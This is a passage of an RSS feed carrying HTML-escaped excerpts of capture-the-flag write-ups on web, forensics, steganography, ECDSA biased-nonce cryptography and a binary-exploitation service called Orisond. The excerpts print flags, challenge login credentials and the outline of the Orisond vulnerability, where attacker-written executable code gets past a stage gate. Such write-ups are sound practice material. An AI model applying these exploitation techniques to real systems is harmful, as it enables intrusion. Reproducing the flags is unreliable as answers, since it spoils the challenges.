class="cl"&gt;Username: raj&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password: northstar2026&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="1-authenticate"&gt;&#10; &lt;a href="#1-authenticate" class="md-heading-anchor"&gt;&#10; 1. Authenticate&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Log in at &lt;code&gt;/login&lt;/code&gt; with the supplied credentials. The application redirects to &lt;code&gt;/dashboard&lt;/code&gt; and establishes a session cookie.&lt;/p&gt;</description></item><item><title>The Meridian</title><link>https://hotwater-online.xyz/writeups/isfcr/meridian/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/meridian/</guid><description>&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;A little museum of photographic time. Fourteen prints on display, and one&#10;negative the public never gets to see.&lt;/p&gt;&#10;&lt;p&gt;Target: &lt;code&gt;https://isfcrpesu-the-meridian.chals.io&lt;/code&gt;&#10;Build: &lt;code&gt;2024.11-public&lt;/code&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;h2 id="flags"&gt;&#10; &lt;a href="#flags" class="md-heading-anchor"&gt;&#10; Flags&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;#&lt;/th&gt;&#10; &lt;th&gt;Where&lt;/th&gt;&#10; &lt;th&gt;Flag&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;1&lt;/td&gt;&#10; &lt;td&gt;&lt;strong&gt;Vault&lt;/strong&gt; — negative &lt;code&gt;MRD-0000-0000&lt;/code&gt; (the never-exhibited one)&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;isfcr{d33p_m3rg3_p0llut3s_th3_pr0v3n4nc3_v4ult_1n_th3_m3r1d14n}&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;2&lt;/td&gt;&#10; &lt;td&gt;Legacy staff console&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;isfcr{l3g4cy_st4ff_c0ns0l3_1s_n0t_th3_v4ult}&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;3&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;RegistrarV2.SELFTEST&lt;/code&gt; (wrong pepper)&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;isfcr{wr0ng_p3pp3r_r1ght_curs3}&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;4&lt;/td&gt;&#10; &lt;td&gt;Verdigris &lt;code&gt;provenance&lt;/code&gt; cert, ROT-13&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;isfcr{pr0v3n4nc3_pl4qu3_w4s_a_f0rg3ry}&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-recon"&gt;&#10; &lt;a href="#1-recon" class="md-heading-anchor"&gt;&#10; 1. Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The site is a hash-routed SPA (nothing renders from the server). The useful&#10;surface is all in the JavaScript:&lt;/p&gt;</description></item><item><title>The Third Key Phase</title><link>https://hotwater-online.xyz/writeups/isfcr/the-third-key-phase/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-third-key-phase/</guid><description>&lt;h2 id="result"&gt;&#10; &lt;a href="#result" class="md-heading-anchor"&gt;&#10; Result&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{7d6bae9970a1173284046064}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The evidence fields, in the required order, are:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="json"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;json&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;6e26102a48d71fe1d7f68231&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;87566bdc267eee5e8a8a7d0251033ec0ce2aef613ef35623cf1e6dc5fc1310d3&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;43669914701c2add27583d67043e96c02f44d622a78116f10fea5fac66e233dd&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The exact accepted file is saved as &lt;code&gt;accepted-file.bin&lt;/code&gt;. It contains &lt;strong&gt;16,456 bytes&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h2 id="1-inspect-the-capture-and-embedded-metadata"&gt;&#10; &lt;a href="#1-inspect-the-capture-and-embedded-metadata" class="md-heading-anchor"&gt;&#10; 1. Inspect the capture and embedded metadata&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The only supplied artifact is &lt;code&gt;capture.pcapng&lt;/code&gt;. Initial inspection:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tshark -r capture.pcapng -q -z io,phs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strings capture.pcapng&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The capture contains 265 Ethernet/IPv4/UDP packets. There is no initial QUIC handshake from which a normal dissector could establish all connection parameters.&lt;/p&gt;</description></item><item><title>Redacted Minutes</title><link>https://hotwater-online.xyz/writeups/xploit/redacted-minutes/</link><pubDate>Fri, 09 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/redacted-minutes/</guid><description>&lt;p&gt;redacted/XploitX_Stego03_Participants/extractions/NIGHTINGALE_memo_RESTRICTED.docx.extracted/0/word/document.xml&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Zero-width chars in the RE: line → key.&#10;Map \u200b=10, \u200c=00, \u200d=11, \u2060=01, decode → n1ghting4le_0v3rwatch.&lt;/li&gt;&#10;&lt;li&gt;&amp;lt;w:del&amp;gt; / &amp;lt;w:delText&amp;gt; runs, keep only author J. Okafor (26 runs × 96 base64 chars).&#10;Sort by w:date ascending, concatenate, base64-decode → nightingale.zip.&lt;/li&gt;&#10;&lt;li&gt;unzip -P 'n1ghting4le_0v3rwatch' nightingale.zip → notes.txt.&lt;/li&gt;&#10;&lt;li&gt;Trailing whitespace of each notes.txt line (40 lines × 8 chars): space=1, tab=0, MSB-first → flag.&#10;Flag: XploitXβ{tr4ck3d_z3r0w1dth_sn0w_l4y3rs}&lt;/li&gt;&#10;&lt;/ol&gt;</description></item><item><title>Sensor Logs</title><link>https://hotwater-online.xyz/writeups/xploit/sensor-logs/</link><pubDate>Fri, 09 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/sensor-logs/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;XploitXβ{s1l3nt_0rb1t_c4rr13s_th3_3ncrypt3d_3ch0_1n_th3_fr4m3}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Unzipping the archive gives a second zip with four logs. Three of them (&lt;code&gt;auth.log&lt;/code&gt;, &lt;code&gt;network.log&lt;/code&gt;, &lt;code&gt;system.log&lt;/code&gt;) each have a flag-looking string, but they're all decoys.&lt;/p&gt;&#10;&lt;p&gt;The interesting file is &lt;code&gt;sensor_07.log&lt;/code&gt;. It starts out as text, then turns into binary after a &lt;code&gt;--LOG_PAYLOAD--&lt;/code&gt; marker. The binary part is a simple container where each entry is a 3-letter tag, a 4-byte length, then the data. It holds a PNG, a WAV, and a short &lt;code&gt;TXT&lt;/code&gt; entry with &lt;code&gt;_c4rr13s_th3_3ncrypt3d&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Biased Nonce</title><link>https://hotwater-online.xyz/writeups/xploit/biased-nonce/</link><pubDate>Thu, 08 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/biased-nonce/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Cryptography&#10;&lt;strong&gt;Points:&lt;/strong&gt; 500&#10;&lt;strong&gt;Difficulty:&lt;/strong&gt; Insane&#10;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;public.json&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are given a set of ECDSA-style signatures over the &lt;strong&gt;secp256k1&lt;/strong&gt; curve whose&#10;nonces were generated with a &lt;strong&gt;bias&lt;/strong&gt;: the top 8 bits of each nonce are zero,&#10;i.e. every nonce &lt;code&gt;k&lt;/code&gt; satisfies&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0 ≤ k &amp;lt; 2^248&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(For comparison, the curve order &lt;code&gt;n&lt;/code&gt; is a 256-bit number, so an unbiased nonce&#10;would be uniformly distributed in &lt;code&gt;[0, n)&lt;/code&gt;.)&lt;/p&gt;</description></item><item><title>Double Exposure</title><link>https://hotwater-online.xyz/writeups/xploit/double-exposure/</link><pubDate>Thu, 08 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/double-exposure/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;XploitXβ{tr4l1ng_sp4c3s_t4b_b1ts_pk_f1x_2d7e}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="solution"&gt;&#10; &lt;a href="#solution" class="md-heading-anchor"&gt;&#10; Solution&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;h3 id="1-spot-the-decoy"&gt;&#10; &lt;a href="#1-spot-the-decoy" class="md-heading-anchor"&gt;&#10; 1. Spot the decoy&#10; &lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;&lt;code&gt;file&lt;/code&gt; on &lt;code&gt;double_exposure.jpg&lt;/code&gt; reveals a JPEG comment:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;comment: &amp;#34;XploitXβ{just_a_c0mm3nt_n0th1ng_m0r3}&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;That is a &lt;strong&gt;decoy&lt;/strong&gt; (&amp;quot;just a comment, nothing more&amp;quot;).&lt;/p&gt;&#10;&lt;h3 id="2-find-the-appended-zip"&gt;&#10; &lt;a href="#2-find-the-appended-zip" class="md-heading-anchor"&gt;&#10; 2. Find the appended ZIP&#10; &lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;The JPEG ends (EOI &lt;code&gt;FFD9&lt;/code&gt;) well before the end of the file. There is a ZIP archive&#10;appended after the EOI. Its &lt;code&gt;PK\x03\x04&lt;/code&gt; magic had been overwritten with&#10;&lt;code&gt;00 00 00 00&lt;/code&gt;, so &lt;code&gt;binwalk&lt;/code&gt; misses it. Restoring the magic reveals a single entry:&#10;&lt;code&gt;memo.txt&lt;/code&gt; (ZipCrypto-encrypted).&lt;/p&gt;</description></item><item><title>Neon Relic (07_neon_relic.mid)</title><link>https://hotwater-online.xyz/writeups/xploit/neon-relic-07-neon-relic-mid/</link><pubDate>Thu, 08 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/neon-relic-07-neon-relic-mid/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics / Stego&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;XploitXβ{n30n_r3l1c|_1n_th3_fr4m3}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="tldr"&gt;&#10; &lt;a href="#tldr" class="md-heading-anchor"&gt;&#10; TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The MIDI file is a container. A ZIP is appended after the MIDI tracks, and inside it is a PNG whose top three pixel rows hide the flag as a 1-bit-per-pixel bitmap. The other files are decoys and a hint.&lt;/p&gt;&#10;&lt;h2 id="1-recon"&gt;&#10; &lt;a href="#1-recon" class="md-heading-anchor"&gt;&#10; 1. Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file 07_neon_relic.mid&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Standard MIDI data (format 1) using 2 tracks at 1/960&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ stat -c %s 07_neon_relic.mid&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;533602&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;A MIDI file with a short arpeggio shouldn't be 533 KB. &lt;code&gt;strings&lt;/code&gt; shows &lt;code&gt;--MIDI_PAYLOAD_BOUNDARY--&lt;/code&gt;, &lt;code&gt;relic.png&lt;/code&gt; and &lt;code&gt;neon.wav&lt;/code&gt; after the track data (marker at offset 276, &lt;code&gt;PK\x03\x04&lt;/code&gt; right after it).&lt;/p&gt;</description></item><item><title>Nested Steam Package</title><link>https://hotwater-online.xyz/writeups/xploit/nested-steam-package/</link><pubDate>Thu, 08 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/nested-steam-package/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;XploitXβ{n3st3d_cl34n}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="solution"&gt;&#10; &lt;a href="#solution" class="md-heading-anchor"&gt;&#10; Solution&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The challenge is a chain of nested archives (&amp;quot;nested stream package&amp;quot;).&lt;/p&gt;&#10;&lt;h3 id="1-level-1--ctf_sample_9zip"&gt;&#10; &lt;a href="#1-level-1--ctf_sample_9zip" class="md-heading-anchor"&gt;&#10; 1. Level 1 — &lt;code&gt;CTF_sample_9.zip&lt;/code&gt;&#10; &lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CTF_sample_9.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── CHALLENGE.md → &amp;#34;Nested stream package.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── nested_package.zip&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id="2-level-2--nested_packagezip"&gt;&#10; &lt;a href="#2-level-2--nested_packagezip" class="md-heading-anchor"&gt;&#10; 2. Level 2 — &lt;code&gt;nested_package.zip&lt;/code&gt;&#10; &lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nested_package.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── playlist.txt → the flag&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── preview.mp4 → broken MP4 (&amp;#34;moov atom not found&amp;#34;) — decoy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── nested_stream.dat → another ZIP&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;playlist.txt&lt;/code&gt; contains the flag directly:&lt;/p&gt;</description></item><item><title>Orisond</title><link>https://hotwater-online.xyz/writeups/xploit/orisond/</link><pubDate>Thu, 08 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/orisond/</guid><description>&lt;p&gt;&lt;strong&gt;Binary:&lt;/strong&gt; &lt;code&gt;orisond&lt;/code&gt; (x86-64, PIE, canary)&#10;&lt;strong&gt;Solve script:&lt;/strong&gt; &lt;code&gt;exp.py&lt;/code&gt; (local + &lt;code&gt;--remote&lt;/code&gt;, port 9015); &lt;code&gt;debug.py&lt;/code&gt; = development harness&#10;&lt;strong&gt;Flags:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;local: &lt;code&gt;NNS{local}&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;remote: &lt;code&gt;XploitXβ{orison_22_memstage_7c91e4a2_static}&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="service"&gt;&#10; &lt;a href="#service" class="md-heading-anchor"&gt;&#10; Service&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Binary protocol: &lt;code&gt;u32 command | args&lt;/code&gt;, reply &lt;code&gt;u32 status | u64 value&lt;/code&gt;&#10;(&lt;code&gt;cmd 5&lt;/code&gt; replies with two qwords: arena base + code pointer).&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;cmd&lt;/th&gt;&#10; &lt;th&gt;args&lt;/th&gt;&#10; &lt;th&gt;action&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;1&lt;/td&gt;&#10; &lt;td&gt;—&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;mmap()&lt;/code&gt; a 2-page arena, RW (stage 0 → 1)&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;5&lt;/td&gt;&#10; &lt;td&gt;—&lt;/td&gt;&#10; &lt;td&gt;leak: replies &lt;code&gt;arena_base&lt;/code&gt; and &lt;code&gt;default_stub&lt;/code&gt; (→ PIE base)&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;2&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;u32 page, u32 class&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;set &lt;code&gt;page_class[page]&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;3&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;u32 page, u32 offset, u16 len, data&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;write &lt;code&gt;len ≤ 0x200&lt;/code&gt; bytes to &lt;code&gt;arena + page*0x1000 + offset&lt;/code&gt; (allowed while the page is RW)&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;4&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;u32 page&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;mprotect(page)&lt;/code&gt; using its class — class 1 → &lt;code&gt;PROT_READ|PROT_EXEC&lt;/code&gt; (5)&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;6&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;u32 page&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;remap page &lt;code&gt;MAP_FIXED&lt;/code&gt;, anonymous RW (stage → 6)&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;7&lt;/td&gt;&#10; &lt;td&gt;—&lt;/td&gt;&#10; &lt;td&gt;call the function pointer at &lt;code&gt;[arena+8]&lt;/code&gt;, &lt;strong&gt;gated on &lt;code&gt;stage &amp;gt; 5&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;h2 id="vulnerability"&gt;&#10; &lt;a href="#vulnerability" class="md-heading-anchor"&gt;&#10; Vulnerability&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The service &amp;quot;catches you the moment you touch something you shouldn't&amp;quot; — but it&#10;never checks &lt;em&gt;what the executable page contains&lt;/em&gt;. The only gate on &lt;code&gt;cmd 7&lt;/code&gt; is&#10;the stage counter, and &lt;code&gt;cmd 6&lt;/code&gt; advances the stage using &lt;strong&gt;page 1&lt;/strong&gt;, leaving the&#10;attacker-written contents of &lt;strong&gt;page 0&lt;/strong&gt; untouched:&lt;/p&gt;</description></item><item><title>Port 0xBEEF (Hyper-Nested)</title><link>https://hotwater-online.xyz/writeups/xploit/port-0xbeef-hyper-nested/</link><pubDate>Thu, 08 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/port-0xbeef-hyper-nested/</guid><description>&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Incident Case File&lt;/strong&gt;: &lt;code&gt;#2026-2184-GAMMA | PORT 0xBEEF (HYPER-NESTED)&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Category&lt;/strong&gt;: Networking / Network Forensics / Cryptography&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Target Flag Format&lt;/strong&gt;: &lt;code&gt;XploitX[beta]{...}&lt;/code&gt; (decoded as &lt;code&gt;XploitXβ{...}&lt;/code&gt;)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-initial-reconnaissance"&gt;&#10; &lt;a href="#1-initial-reconnaissance" class="md-heading-anchor"&gt;&#10; 1. Initial Reconnaissance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Inspecting the directory files:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;CASE_BRIEF.txt&lt;/code&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Flag format: &lt;code&gt;XploitX[beta]{...}&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Key exchange over TCP headers: $p = 65521$, $g = 17$.&lt;/li&gt;&#10;&lt;li&gt;Pipeline: &lt;code&gt;XOR(SHA512) -&amp;gt; GZIP -&amp;gt; Invert/Reverse -&amp;gt; ZLIB 